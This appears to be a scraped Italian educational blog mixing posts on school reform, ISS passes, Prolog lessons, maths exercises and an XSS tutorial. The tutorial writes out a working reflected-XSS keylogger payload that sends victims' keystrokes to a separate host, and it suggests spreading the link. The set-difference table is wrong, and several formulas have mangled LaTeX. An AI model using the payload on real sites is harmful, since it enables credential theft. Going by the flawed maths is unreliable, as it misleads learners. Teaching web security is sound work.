Organigramma desunto dalla vigente normativa e, in particolare, dal d. lgs. n. 150 del 27 ottobre 2009 art. 37 che “rafforza il principio di distinzione tra le funzioni di indirizzo e controllo spettanti agli organi di governo e le funzioni di gestione amministrativa spettanti alla dirigenza”.

Struttura decisionale della scuola

La distruttività de “La buona scuola”

Il mondo corre, le conoscenze si dilatano, la dimensione dei problemi aumenta e la scuola, anche se buona, sta alla finestra: non disattenzione ma disubbidienza.
Nel 1999 l’autonomia è stata introdotta nell’ordinamento scolastico, una vera rivoluzione: i libri di testo non son più la road map degli insegnamenti. La progettualità “sostanzia” il cambiamento: le competenze generali che gli studenti dovranno possedere per interagire positivamente con il contesto socio-culturale sono da identificare, le capacità che tali traguardi presuppongono sono da individuare, ipotesi per il loro conseguimento sono da formulare, gli scostamenti tra obiettivi e risultati sono da “valutare”.
Gli operatori scolastici, a tutti i livelli, hanno trasgredito il dettato legislativo, tutto è rimasto immutato: troppo oneroso il nuovo compito, troppo elevato il livello d’incertezza che il cambiamento introduce. Incredibile e colpevole il fatto che il disegno di legge in discussione al Senato faccia propria la resistenza che è stata frapposta all’adeguamento dell’istituzione al mondo contemporaneo, valorizzando la trasgressione. Ufficialmente si sostiene che la finalità del provvedimento è il potenziamento dell’autonomia, attribuendo a tale concetto un significato diverso da quello di legge: una vera mistificazione.
Si prospettano solo interventi di contorno: l’essenza dell’educazione, i processi necessari per il suo sviluppo, la ridefinizione del campo in cui nasce il problema formativo sono scaraventati fuori scena.

La Stazione Spaziale Internazionale sorvola l’Italia

La Stazione Spaziale Internazionale torna nuovamente sopra l’Italia, di seguito i passaggi giorno per giorno.

08 giugno 2015

08/06/2015, traiettoria Stazione Spaziale Internazionale sull'Italia

09 giugno 2015

09/06/2015, traiettoria Stazione Spaziale Internazionale sull'Italia

09 giugno 2015 (secondo passaggio)

09/06/2015, traiettoria Stazione Spaziale Internazionale sull'Italia (secondo passaggio)

09 giugno 2015 (terzo passaggio)

09/06/2015, traiettoria Stazione Spaziale Internazionale sull'Italia (terzo passaggio)

10 giugno 2015

10/06/2015, traiettoria Stazione Spaziale Internazionale sull'Italia

11 giugno 2015

11/06/2015, traiettoria Stazione Spaziale Internazionale sull'Italia

11 giugno 2015 (secondo passaggio)

11/06/2015, traiettoria Stazione Spaziale Internazionale sull'Italia (secondo passaggio)

12 giugno 2015

12/06/2015, traiettoria Stazione Spaziale Internazionale sull'Italia

13 giugno 2015

13/06/2015, traiettoria Stazione Spaziale Internazionale sull'Italia

13 giugno 2015 (secondo passaggio)

13/06/2015, traiettoria Stazione Spaziale Internazionale sull'Italia (secondo passaggio)

14 giugno 2015

14/06/2015, traiettoria Stazione Spaziale Internazionale sull'Italia

http://parcoastronomico.it/sidereus/

Intelligenza artificiale: un assaggio (secondo incontro)

SK. 1/secondo incontro

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In un PC è memorizzata una base di conoscenza Prolog.

Il commento precisa la natura dei dati in ingresso e in uscita: nulla si dice del campo del problema.

 regola(Uno,Due,Tre):-       Uno > 10,            /* Uno,Due sono numeri interi maggiori di 10 e minori di 100 */       Uno < 100,           /* Tre è il risultato */       Due > 10,       Due < 100,       calcola(Uno,Due,Tre).  calcola(A,B,C):-        B = 0,        C is A.   calcola(A,B,C):-        D is A mod B,        calcola(B,D,C).

Proposta di lavoro

Simulate il comportamento del motore Prolog per identificare la regola.

Al termine della ricerca realizzate un presentazione PowerPoint per illustrare ai compagni di classe il processo di calcolo che avete osservato.

L'efficacia comunicativa sarà il criterio di giudizio del vostro lavoro.

Lavoro di gruppo Tempo: 30'

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Problema di criptoaritmetica: listato generalizzato

Per una descrizione del problema si veda l’articolo Intelligenza artificiale: un assaggio.

 cifra(0). cifra(1). cifra(2). cifra(3). cifra(4). cifra(5). cifra(6). cifra(7). cifra(8). cifra(9).  riporto(0). riporto(1).  risolvi(A,B,C):- 	soluzione(A,B,C).      soluzione(A,B,C) :- 	cifra(D), 	cifra(U), 	cifra(E), 	cifra(S), 	cifra(I), 	cifra(O), 	cifra(T), 	riporto(R), 	riporto(R1),         O is E + I - (10*R), 	T is U + E + R - (10*R1), 	T1 is D + S + R1, 	T is T1-10, 	O is 1, 	diversi(D,U,E,S,I,O,T), 	A is D*100+U*10+E, 	B is S*100+E*10+I, 	C is O*1000 + T*100 + T*10 + O, 	write(A), 	write(B), 	write(C).      diversi(D,U,E,S,I,O,T):- 	D =\= U,         D =\= E, 	D =\= S, 	D =\= I, 	D =\= O, 	D =\= T,         U =\= E, 	U =\= S, 	U =\= I, 	U =\= O, 	U =\= T, 	E =\= S, 	E =\= I, 	E =\= O, 	E =\= T, 	S =\= I, 	S =\= O, 	S =\= T, 	I =\= O, 	I =\= T, 	O =\= T.

Il DDL “la buona scuola” non ha validità scientifica

Il disegno di legge in discussione al Senato è caratterizzato da un approccio di tipo morale: il procedere scientifico è sconosciuto.

TERMINOLOGIA

La scuola non possiede un vocabolario condiviso. Educazione, formazione, istruzione, insegnamento, capacità, abilità, conoscenza, competenza .. non hanno univoco significato.

Il DDL s’immerge in questa indeterminatezza. Si consideri ad esempio la nozione “apprendimento”: la sua definizione è desunta dalla legge 92/2012 avente come oggetto la riforma del mercato del lavoro.
E’ noto che il significato delle parole è contestuale: apprendimento, per chi progetta percorsi volti alla relativa promozione, ha un contenuto che diverge sostanzialmente da quello ottenuto considerando la scuola come erogatrice di forza lavoro.

ESPLORAZIONE DEL CAMPO IN CUI NASCE IL PROBLEMA

La proposta governativa non ha ricercato l’origine dell’inefficacia degli interventi normativi che, negli anni, si sono succeduti: si limita a sentenziare la loro incoerenza e il loro non allineamento con l’assetto attuale.

Se l’ordinaria gestione scolastica fosse stata studiata ne sarebbe derivato un quadro di realtà molto differente da quello ipotizzato. Il vissuto sarebbe stato capitalizzato: sarebbe emersa l’origine dell’attuale stallo dell’istituzione.
E’ sufficiente leggere gli ordini del giorno stilati per convocare gli organismi collegiali per costatare la sistematica omissione di questioni obbligatorie e vitali, l’origine della loro sterilizzazione.

DEFINIZIONE DEL PROBLEMA

Il sistema normativo vigente finalizza il sistema scolastico all’educazione, intesa come processo di promozione di capacità e di competenze, generali e specifiche [legge 53/2003].

Il disegno di legge, nonostante il riconoscimento della persistente validità dell’ordinamento vigente [TU 297/94], modifica l’orientamento della scuola cassando gli aspetti educativi. La modifica della denominazione dell’istituzione scolastica è inequivocabile: da Sistema educativo d’istruzione e di formazione a Sistema nazionale di istruzione e di formazione.

FORMULAZIONE DI IPOTESI

L’errato disegno del campo in cui nasce il problema e il mancato riconoscimento della complessità della mission della scuola, ridotta al solo insegnamento, svuotano di significato le strategie risolutive.

DEFINIZIONE DEL MODELLO

La cultura dell’organizzazione non appartiene al disegno di legge. I modelli che la scienza ha elaborato per dominare i sistemi decisionali sono rimpiazzati dall’obsoleta, inefficace struttura gerarchico-lineare.

VERIFICABILITÀ

Il feed-back è universalmente riconosciuto come necessaria modalità di governo dei sistemi.
Il feed-back consiste nella comparazione tra obiettivi e risultati ottenuti: le informazioni contenute negli scostamenti rilevati consentono di migliorare l’incisività delle azioni programmate.

Il DDL muove in direzione opposta: il principio di autorità, alternativo a quello razionale, è posto a fondamento della valutazione.

Virus e sicurezza informatica: XSS (Cross Site Scripting)

Il Cross Site Scripting è un tipo di attacco che permette ad un utente di far eseguire a delle pagine web dinamiche dei comandi non previsti dal programmatore inserendo delle direttive nell’url della pagina.

Rischi

I rischi derivanti da un attacco XSS sono numerosi. Il principale effetto che si può avere è quello di ottenere un link da poter condividere con chiunque che risulti “ufficiale” perché effettivamente riporta l’indirizzo del sito reale, ma che includa delle funzioni dannose come ad esempio quelle di rubare cookies e password.

Analizziamo un esempio

Ho creato un sito fittizio server2.lan con un codice che mostra ai visitatori un “Benvenuto”
(Il sito è accessibile solo attraverso la mia rete locale, quindi i link non funzioneranno sui vostri PC)

Home page sito fittizio

È possibile personalizzare il benvenuto passando alla pagina un parametro con il nome. In questo caso “Andrea” e l’indirizzo diventerà http://server2.lan/pag.php?name=Andrea.

URL con parametro name

Fino ad ora abbiamo analizzato il normale funzionamento della pagina, adesso proviamo a vedere se la pagina è vulnerabile ad un attacco XSS.
Proviamo a cambiare la formattazione della parola “Andrea” rendendola in grassetto.

Generiamo un link con questa funzione:
http://server2.lan/pag.php?name=<b>Andrea</b>

URL con parametro name e tag bold

Funziona! La pagina non solo esegue la funzione per cui è stata progettata ma esegue anche dei comandi non previsti.
Ora che sappiamo che la pagina è vulnerabile possiamo provare ad inserire del codice più complesso.

Ad esempio facciamo uscire un pop-up inserendo il codice “<script>alert(‘Questo sito è stato attaccato sfruttando una vulnerabilità XSS’)</script>” nell’url che diventerà:
http://server2.lan/pag.php?name=Andrea<script>alert(‘Questo sito è stato attaccato sfruttando una vulnerabilità XSS’)</script>

Passaggio script come parametro

Vediamo adesso come questo tipo di vulnerabilità può essere sfruttata per violare la privacy

Ho realizzato per voi questo schema che chiarisce il concetto di cui stiamo parlando.

Schema uso XSS per violazione privacy

Proviamo ad esempio a sottrarre delle credenziali d’accesso utilizzando sempre il sito fittizio ed immaginando che sia un sito reale e funzionante come ad esempio un social network o un sito bancario.

Pagina web con modulo d'inserimento

Scriviamo uno script che salvi in un file di testo qualsiasi parametro gli passiamo.

Codice PHP salvataggio parametro indirizzo

Testiamolo.

Indirizzo web con parametro

Output del keylogger

Ora che sappiamo che il nostro script cattura qualsiasi testo dobbiamo trovare il modo di far inviare al nostro script dei dati dal sito fittizio utilizzando la vulnerabilità XSS.

Scriviamo un codice Javascript che una volta inserito nell’url della pagina invierà al nostro script keylogger i dati inseriti per l’accesso.
Nel codice è necessario inserire la “posizione” dello script keylogger che nell’immagine è stata evidenziata dal rettangolo rosso.

Codice Javascript del keylogger

Facciamo in modo che il codice sia tutto su una riga.

Codice Keylogger su una sola riga

Generiamo il link contenente il codice XSS:
http://server2.lan/pag.php?name=Andrea<script>var keys=”;document.onkeypress=function(e){var get=window.event?event:e;var key=get.keyCode?get.keyCode:get.charCode;key=String.fromCharCode(key);keys+=key}window.setInterval(function(){new Image().src=’http://192.168.1.158/keylogger.php?c=’+keys;keys=”},10);</script>

Dopo numerosi tentativi mi sono reso conto che questo codice così complesso non viene eseguito. La soluzione è caricare il codice che avremmo voluto inserire nell’url in un file sul nostro server locale (Quello su cui arriveranno i dati) ed inserire nell’url soltanto il link allo script.

Passaggio dell'IP nello script XSS

L’url funzionante contenente l’attacco XSS sarà quindi:
http://server2.lan/pag.php?name=Andrea<script src=”http://192.168.1.158/key.js”></script>

In questo modo i dati vengono catturati e ci vengono recapitati.
Per rendere effettivo l’attacco basterebbe diffondere il link apparentemente corretto, poiché riporta l’indirizzo esatto del sito, ma che contiene del codice a cui i meno esperti non presterebbero attenzione.

Andrea Carriero | BTBH
https://btbh.net
https://codethinker.net
[email protected]

Problema di criptoaritmetica: listato base

Per una descrizione del problema si veda l’articolo Intelligenza artificiale: un assaggio.

 cifra(0). cifra(1). cifra(2). cifra(3). cifra(4). cifra(5). cifra(6). cifra(7). cifra(8). cifra(9).  risolvi(A,B,C):- 	soluzione(A,B,C).   soluzione(A,B,C) :-                /* nessun riporto - solo D+S */ 	cifra(D), 	cifra(U), 	cifra(E), 	cifra(S), 	cifra(I), 	cifra(O), 	cifra(T),         O is E + I, 	T is U + E, 	T is D + S - 10 + 1, 	O is 1,         diversi(D,U,E,S,I,O,T), 	A is D*100+U*10+E, 	B is S*100+E*10+I, 	C is O*1000 + T*100 + T*10 +O, 	write(A), 	write(B), 	write(C).   soluzione(A,B,C) :-                /* riporto colonna unità e D+S*/ 	cifra(D), 	cifra(U), 	cifra(E), 	cifra(S), 	cifra(I), 	cifra(O), 	cifra(T),         O is E + I - 10, 	T is U + E + 1, 	T is D + S - 10, 	O is 1, 	diversi(D,U,E,S,I,O,T), 	A is D*100+U*10+E, 	B is S*100+E*10+I, 	C is O*1000 + T*100 + T*10 + O, 	write(A), 	write(B), 	write(C).    soluzione(A,B,C) :-                /* riporto colonna decine e D+S */ 	cifra(D), 	cifra(U), 	cifra(E), 	cifra(S), 	cifra(I), 	cifra(O), 	cifra(T),         O is E + I, 	T is U + E, 	T is D + S - 10, 	O is 1, 	diversi(D,U,E,S,I,O,T), 	A is D*100+U*10+E, 	B is S*100+E*10+I, 	C is O*1000 + T*100 + T*10 +O, 	write(A), 	write(B), 	write(C).  soluzione(A,B,C) :-                /* riporto colonne decine e unità e D+S */ 	cifra(D), 	cifra(U), 	cifra(E), 	cifra(S), 	cifra(I), 	cifra(O), 	cifra(T),         O is E + I - 10, 	T is U + E + 1 - 10, 	T is D + S - 10 + 1, 	O is 1, 	diversi(D,U,E,S,I,O,T), 	A is D*100+U*10+E, 	B is S*100+E*10+I, 	C is O*1000 + T*100 + T*10 +O, 	write(A), 	write(B), 	write(C).  diversi(D,U,E,S,I,O,T):- 	D =\= U,         D =\= E, 	D =\= S, 	D =\= I, 	D =\= O, 	D =\= T,         U =\= E, 	U =\= S, 	U =\= I, 	U =\= O, 	U =\= T, 	E =\= S, 	E =\= I, 	E =\= O, 	E =\= T, 	S =\= I, 	S =\= O, 	S =\= T, 	I =\= O, 	I =\= T, 	O =\= T.

Intelligenza artificiale: un assaggio (compito)

SK. 2/primo incontro

La base di conoscenza realizzata [Cripto] prevede la ripetizione della regola aritmetica per ogni occorrenza del riporto.

Sviluppate una nuova applicazione per fare una prima generalizzazione del caso.

Utilizzate la modalità impiegata per assegnare il valore a una cifra [istanziare] anche per il riporto:

Prolog assegnamenti

al fine d’esprimere con una sola regola le quattro utilizzate per gestire le alternative [OR].

Compito da eseguire a casa.

Intelligenza artificiale: un assaggio (primo incontro)

SK. 1/primo incontro

Documento di <a href="http://office.com">Microsoft Office</a> incorporato, con tecnologia Office Online.

Figura del problema da risolvere Ogni lettera rappresenta una cifra diversa

Il vostro compito consiste nel descrivere compiutamente l’ambiente in cui il motore Prolog ricerca le cifre.

Figura flusso di lavoro

Per la descrizione userete i connettivi

SE .. ALLORA

OR – una proposizione è vera se almeno una delle sue componenti è vera

AND – una proposizione è vera se tutte le sue componenti sono vere.

Lavoro di gruppo

Preparate alcune slide per comunicare alla classe l’esito del vostro lavoro Tempo: 30′

Documento di <a href="http://office.com">Microsoft Office</a> incorporato, con tecnologia Office Online.

Un assaggio di PROgrammazione LOGica

Si propone un breve percorso didattico che mira alla finalità del sistema educativo: lo “sviluppo di capacità e di competenze, generali e specifiche, attraverso conoscenze e abilità” [1]

Significativo il fatto che il mondo scolastico non abbia esplicitato la finalità del sistema educativo precisandone il senso. Ha eluso la volontà del legislatore: non ha identificato e dichiarato i corrispondenti obiettivi. Il mandato conferitogli richiedeva la sua scomposizione e interpretazione, comportava l’indicazione del significato di “capacità [2] e di competenze [3], generali e specifiche”.

L’assunzione di un’ottica progettuale [4] sarebbe stata la via maestra. Sarebbe stato indotto un cambiamento profondo dell’ordinaria gestione della scuola. Le conoscenze avrebbero perso il carattere di definitività e intangibilità: sarebbero apparse plastiche e strumentali rispetto ai traguardi del sistema educativo.

La sistematizzazione del sapere sarebbe stata la fase terminale di percorsi di ricerca, laboratoriali che, applicando rigorose metodologie, avrebbero individuate risposte ai quesiti posti.
Ne sarebbe risultata un’immagine della disciplina che evolve e si raffina, che motiva gli studenti alla ricostruzione dei nodi salienti della sua storia

I nuovi regolamenti di riordino del 2010 che, per orientare la didattica, collocano “tra punti fondamentali e imprescindibili, la pratica dei metodi di indagine propri dei diversi ambiti disciplinari[5]”, non hanno prodotto alcun cambiamento alla gestione dell’aula.

Metodo disciplinare e competenze sono le due facce della stessa medaglia. Le competenze [6], che non possono essere insegnate, trovano nella pratica, nella soluzione di problemi, il loro terreno germinativo.

La staticità delle mappe concettuali, cardine dell’ordinaria organizzazione scolastica, é superata[7]. Gli itinerari procedono per approssimazioni successive. Si consideri la prima proposta di lavoro: la richiesta privilegia il coinvolgimento degli studenti rispetto alla proposizione d’una limpida e ben strutturata visione del campo disciplinare. Il compito assegnato si colloca in una posizione molto prossima al loro modo di pensare: l’astrattezza che possiedono le modellazioni informatiche è sacrificata, inizialmente.

Il materiale didattico è stato testato in tre classi prime dell’ITIS Badoni di Lecco. La docente, Stella Beccaria, si è detta soddisfatta dall’esperienza e ha notato come l’introduzione delle strutture di controllo dei linguaggi di programmazione sia stata facilitata dall’esercizio di Prolog che ha costretto gli studenti a “ragionare” per far eseguire con rigore i passi di un algoritmo…

In appendice l’esito e il commento della produzione di un gruppo di lavoro.

TITOLO: Introduzione alla programmazione logica

Classe di riferimento: 2°/3° classe della secondaria 1° grado/biennio secondaria 2° grado

Finalità	Capacità di rappresentare Capacità di comunicare Capacità d’argomentare
Obiettivi	Identificare i punti nodali di un ragionamento Dominare gli aspetti sintattici della comunicazione Formalizzare la situazione Sviluppare e interpretare il processo evolutivo di un modello

Primo incontro
Note operative	Introduzione – Illustrazione del campo in cui sorge il problema: 10′ Distribuzione proposta stimolo e lavoro di gruppo: 30′ Intergruppo – comunicazione risultati, confronto, sintesi: 10′ Sistematizzazione – il docente espone la soluzione – la codifica passo-passo in aula informatica con slide – testing: 45′ Commenti: 5′
Introduzione	Il docente utilizza i lucidi PowerPoint – a) Introduzione
Proposta di stimolo	Primo incontro – distribuita a ogni studente b) sk. 1 criptoaritmetica
Intergruppo	I gruppi espongono gli esiti del loro lavoro – Si confrontano le produzioni e si cerca una sintesi
Lucidi di sistematizzazione	l docente utilizza i lucidi PowerPoint per sistematizzare il lavoro e per guidare gli studenti nella scrittura della base di conoscenza Prolog e nella fase del testing – c) Sistematizzazione
Attività di rinforzo	Listato base di conoscenza d) cripto SK. 2/primo incontro – Compito a casa – e) sk.2 Distribuzione della soluzione f ) cripto generalizzato

Secondo incontro
Note operative	Introduzione – Illustrazione del campo in cui sorge il problema: 10′ Distribuzione proposta stimolo e lavoro di gruppo: 40′ Intergruppo – comunicazione dei risultati, confronto, sintesi: 5′ Sistematizzazione – il docente espone la soluzione: 5′ Commenti: 5′
Introduzione	Il docente utilizza i lucidi PowerPoint a) introduzione
Proposta di stimolo	Distribuita a ogni studente b) sk.1 – interpretazione programma
Lucidi di sistematizzazione	Il docente utilizza i lucidi PowerPoint c) processo
Materiale di rinforzo	Copia dei lucidi di sistematizzazione

Terzo incontro
Note operative	Introduzione – Illustrazione del campo in cui sorge il problema: 5′ Distribuzione proposta stimolo e lavoro di gruppo -Progetto della base di conoscenza: 30′ Comunicazione alla macchina – testing: 50′ Realizzazione lucidi Powerpoint: 10′ Intergruppo – presentazione lucidi – confronto – sintesi: 10′ Sistematizzazione – il docente espone la soluzione: 5′ Commenti: 5′
Introduzione	Il docente utilizza i lucidi PowerPoint a) introduzione
Proposta di stimolo	Sk. 1/terzo – distribuita a ogni studente b) sk.1
Intergruppo	Presentazione lucidi – confronto – sintesi
Lucidi di sistematizzazione	Il docente utilizza i lucidi PowerPoint c) sistematizzazione

IL lavoro di un gruppo di studenti – SK .1/primo incontro – Intergruppo

Definizione del problema

Procedimento logico di soluzione del problema

Appendice

Al termine della presentazione di tutti i lavori, il docente ha confrontato le soluzioni, ne ha rilevato le divergenze e ha stimolato il confronto.

Il lavoro riprodotto si distingueva dagli altri per l’oggetto identificativo gli elementi: “Lettere” o cifre?

Chiarita l’origine delle scelte compiute dai gruppi l’insegnante ha espresso il proprio giudizio sugli itinerari risolutivi: ha riletto la proposta di lavoro per mostrare come la consegna sia stata fraintesa, da tutti.

Il vostro compito consiste nel descrivere compiutamente l’ambiente in cui il motore Prolog ricerca le cifre

Non era richiesta la descrizione del processo di ricerca: si chiedeva la rappresentazione accurata del campo entro cui la macchina Prolog naviga.

Un compito che presupponeva un’astrazione: il disegno del modello del problema di cripto-aritmetica. Un cambiamento di punto di vista, non banale.

Note

La finalizzazione del Sistema educativo di istruzione e di formazioni enunciato dall’art. 2 della legge 53/2003
Se ne trascrive un sottoinsieme: Analizzare Applicare Argomentare/Giustificare Comunicare Comprendere Decidere/Scegliere Generalizzare Interpretare Memorizzare Modellare Progettare Relativizzare Riconoscere Ristrutturare Sintetizzare Sistematizzare Trasferire Valutare.
CFR in rete “La professionalità dei docenti: un campo inesplorato” e “Competenze: poche idee ben confuse”.
Il DPR 275/99 – art. 1 – recita “L’autonomia delle istituzioni scolastiche si sostanzia nella progettazione e nella realizzazione di interventi di educazione, formazione e istruzione mirati allo sviluppo della persona umana”
Il profilo culturale, educativo e professionale dei Licei
Si tratta della finalità del Sistema educativo – cfr art. 2 legge 53/2003 [nota 1]
Albert Einstein scriveva: “La conoscenza è cosa morta. La scuola serve a vivere”

Triangolo rettangolo di area minima circoscritto a un rettangolo

Dato un rettangolo, con la base e l’altezza di misura rispettivamente $b$ ed $h$, individuare il triangolo rettangolo circoscritto ad esso (con il vertice dell’angolo retto coin-cidente con un vertice del rettangolo) di area minima; trovare poi la relazione fra $b$ ed $h$ in modo che tale triangolo sia la metà di uno equilatero.

Figura triangolo rettangolo circoscritto a un rettangolo

I segmenti $AB$ e $CD$ misurano $b$, i segmenti $AD$ e $BC$ misurano $h$ ; indichiamo con $x$ la misura di $BE$ (deve essere $x>0$ ). Dalla similitudine dei triangoli $BCE$ e $CDF$ risulta che $DF : BC = CD : BE$, da cui, passando alle misure, si ha ( overline{DF} : h = b : x ), da cui ( overline{DF} = bh/x ). I segmenti $AE$ ed $AF$ misurano quindi rispettivamente $b+x$ , (h + (bh/x)) e l’area del triangolo $AEF$ (che è quella da minimizzare) risulta [ y = (b+x) cdot Big(h + frac{bh}{x} Big) ] da cui [ ag{*} y = hx + frac{b^2h}{x}+2bh ext{, con } x > 0 ].

La derivata di tale funzione è $ dot{y} = h – frac{b^2h}{x^2} = frac{hx^2-b^2h}{x^2} $ che esiste per ogni $ x != 0 $, si annulla per $ x = +- b $ (interessa solo $x = b$), è negativa se $-b < x < 0 vv 0 < x < b$, è positiva se $x < -b vv x > b$, la funzione $y$ ha quindi, nell’intervallo $(0; +oo)$ minimo relativo ed assoluto in $x = b$.

Il triangolo di area minima cercato ha quindi i cateti $AE$ ed $AF$ di misura rispettivamente $2b$ e $2h$.

Per minimizzare la funzione $y$ si poteva anche evitare di ricorrere al calcolo differenziale utilizzando il “metodo delle proprietà note¹“. Osservando $y$ nella (*) si nota che, essendo il terzo addendo costante, ci si può limitare a minimizzare la somma dei primi due addendi; questi sono positivi con prodotto costante (uguale a $b^2h^2$), pertanto, in base a una delle “proprietà note”, la loro somma è minima quando essi sono uguali, il che accade se $x = b$.

Affinchè un triangolo rettangolo sia la metà di uno equilatero, occorre e basta che uno dei suoi angoli acuti abbia ampiezza $60°$; nel triangolo in questione si deve quindi imporre che tale ampiezza sia quella dell’angolo in $E$ o dell’angolo in $F$.

Deve quindi risultare:

(overline{AF} = overline{AE} cdot an 60° ) ossia $2b = 2h cdot sqrt(3)$ da cui $b = h sqrt(3)$

oppure

(overline{AE} = overline{AF} cdot an 60° ) ossia $2h = 2b cdot sqrt(3)$ da cui $h = b sqrt(3)$.

Note: 1. Cfr. ad esempio M. Dedò, Matematiche elementari , vol. I, parte III, cap. I, Liguori Editore (1962)

Segno del primo addendo	Modulo del primo addendo	Segno del secondo addendo	Modulo del secondo addendo	Segno della somma	Modulo della somma
\( + \)	\( \frac{a}{b} \)	\( + \)	\( \frac{c}{d} \)	\( + \)	\( \frac{a}{b} + \frac{c}{d} \)
\( – \)	\( \frac{a}{b} \)	\( – \)	\( \frac{c}{d} \)	\( – \)	\( \frac{a}{b}+\frac{c}{d} \)
\( + \)	\( \frac{a}{b} \)	\( – \)	\( \frac{c}{d} \)	\( + \) Se \( \frac{a}{b} \gt \frac{c}{d} \) \( – \) Se \(\frac{a}{b} \lt \frac{c}{d} \) Nessun segno se \( \frac{a}{b} = \frac{c}{d} \)	\( \frac{a}{b}-\frac{c}{d} \)
\( – \)	a	\( + \)	b	\( + \) Se \( \frac{c}{d} \gt \frac{a}{b}\) \( – \) Se \( \frac{c}{d} \lt \frac{a}{b} \) Nessun segno se \( \frac{a}{b} = \frac{c}{d} \)	\( \frac{c}{d} – \frac{a}{b} \)

Si scrive il numero \(a, \bar{b} \) senza la virgola	\( 1,\bar{3} \)	\( 13 \)
Al numero ottenuto si sottrae il periodo		\( 13 – 3 = 10 \)
Si divide il numero ottenuto per un numero formato da tanti 9 quante sono le cifre che formano il periodo		\( \frac{10}{9} \)

Si scrive il numero \( 1,0\bar{3} \) senza la virgola	\( 1,0\bar{3} \)	\( 103 \)
Al numero ottenuto si sottrae il numero ottenuto affiancando \( a \) e \( c \) (senza la virgola)		\( 103 – 10 = 93 \)
Si divide il numero ottenuto per un numero formato da tanti 9 quante sono le cifre che formano il periodo, seguiti da tanti 0 quante sono le cifre dell’antiperiodo		\( \frac{93}{90} \)

Si scrive il numero \( a, c \) senza la virgola	\( 1,25 \)	\( 125 \)
Si divide il numero ottenuto per \( 10^n \), dove \( n \) è il numero di cifre della parte decimale		\( \frac{125}{100} \)

\( A \)	\( B \)	\( A \setminus B \)
\( x \in A \)	\( x \in B \)	\( x \not \in A \cap B \)
\( x \in A \)	\( x \not \in B \)	\( x \in A \cap B \)
\( x \not \in A \)	\( x \in B \)	\( x \not \in A \cap B \)
\( x \not \in A \)	\( x \not \in B \)	\( x \not \in A \cap B \)

Proprietà distributiva della moltiplicazione	\( a \cdot (b + c) = a \cdot b + a \cdot c \) \( (a + b) \cdot c = a \cdot c + b \cdot c \)
Proprietà distributiva della divisone	\( (a + b) : c = (a : c) + (b : c) \)

\( A \)	\( B \)	\( A \cap B \)
\( x \in A \)	\( x \in B \)	\( x \in A \cap B \)
\( x \in A \)	\( x \not \in B \)	\( x \not\in A \cap B \)
\( x \not \in A \)	\( x \in B \)	\( x \not\in A \cap B \)
\( x \not \in A \)	\( x \not \in B \)	\( x \not\in A \cap B \)

\( A \)	\( B \)	\( A \cup B \)
\( x \in A \)	\( x \in B \)	\( x \in ( A \cup B ) \)
\( x \in A \)	\( x \not \in B \)	\( x \in ( A \cup B ) \)
\( x \not \in A \)	\( x \in B \)	\( x \in ( A \cup B ) \)
\( x \not \in A \)	\( x \not \in B \)	\( x \not \in ( A \cup B ) \)

Multiplo e divisore di un monomio

Massimo comun divisore (M.C.D)

Minimo comune multiplo (m.c.m)

Altre risorse utili

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Prodotto tra monomi

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